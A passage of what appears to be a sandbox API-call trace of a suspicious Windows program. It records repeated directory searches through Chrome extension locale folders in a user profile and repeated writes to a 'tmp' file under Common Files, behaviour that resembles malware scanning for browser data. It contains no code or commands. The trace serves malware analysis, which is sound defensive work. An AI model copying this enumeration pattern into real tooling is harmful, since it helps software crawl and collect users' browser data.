ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2ce93, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.706] AreFileApisANSI () returned 1 [0133.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.707] GetFileType (hFile=0x19c) returned 0x1 [0133.707] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2cf95, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.707] AreFileApisANSI () returned 1 [0133.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.707] GetFileType (hFile=0x19c) returned 0x1 [0133.707] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d09a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.707] AreFileApisANSI () returned 1 [0133.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.707] GetFileType (hFile=0x19c) returned 0x1 [0133.707] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d19f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.708] AreFileApisANSI () returned 1 [0133.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.708] GetFileType (hFile=0x19c) returned 0x1 [0133.708] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d2a1, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.708] AreFileApisANSI () returned 1 [0133.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.708] GetFileType (hFile=0x19c) returned 0x1 [0133.709] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.709] AreFileApisANSI () returned 1 [0133.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.709] GetFileType (hFile=0x19c) returned 0x1 [0133.709] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d4a5, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.709] AreFileApisANSI () returned 1 [0133.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.709] GetFileType (hFile=0x19c) returned 0x1 [0133.709] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d5a7, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.709] AreFileApisANSI () returned 1 [0133.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.709] GetFileType (hFile=0x19c) returned 0x1 [0133.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d6a9, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.710] AreFileApisANSI () returned 1 [0133.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.710] GetFileType (hFile=0x19c) returned 0x1 [0133.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d7ab, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.710] AreFileApisANSI () returned 1 [0133.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.710] GetFileType (hFile=0x19c) returned 0x1 [0133.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d8ad, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.710] AreFileApisANSI () returned 1 [0133.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.710] GetFileType (hFile=0x19c) returned 0x1 [0133.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2d9af, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.711] AreFileApisANSI () returned 1 [0133.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.711] GetFileType (hFile=0x19c) returned 0x1 [0133.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2dab1, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.711] AreFileApisANSI () returned 1 [0133.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.711] GetFileType (hFile=0x19c) returned 0x1 [0133.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2dbb3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.711] AreFileApisANSI () returned 1 [0133.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.711] GetFileType (hFile=0x19c) returned 0x1 [0133.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2e000, nFileSizeHigh=0x0, nFileSizeLow=0x2dcb8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.712] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0133.759] GetLastError () returned 0x12 [0133.759] AreFileApisANSI () returned 1 [0133.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0133.760] GetFileType (hFile=0x198) returned 0x1 [0133.760] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0133.808] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0133.808] GetLastError () returned 0x12 [0133.808] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0133.808] GetLastError () returned 0x12 [0133.808] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0133.808] GetLastError () returned 0x12 [0133.808] AreFileApisANSI () returned 1 [0133.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0133.808] GetFileType (hFile=0x190) returned 0x1 [0133.809] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0133.809] AreFileApisANSI () returned 1 [0133.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0133.809] GetFileType (hFile=0x194) returned 0x1 [0133.809] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0133.853] AreFileApisANSI () returned 1 [0133.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0133.853] GetFileType (hFile=0x198) returned 0x1 [0133.853] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0133.947] AreFileApisANSI () returned 1 [0133.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.948] GetFileType (hFile=0x19c) returned 0x1 [0133.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e1a2, 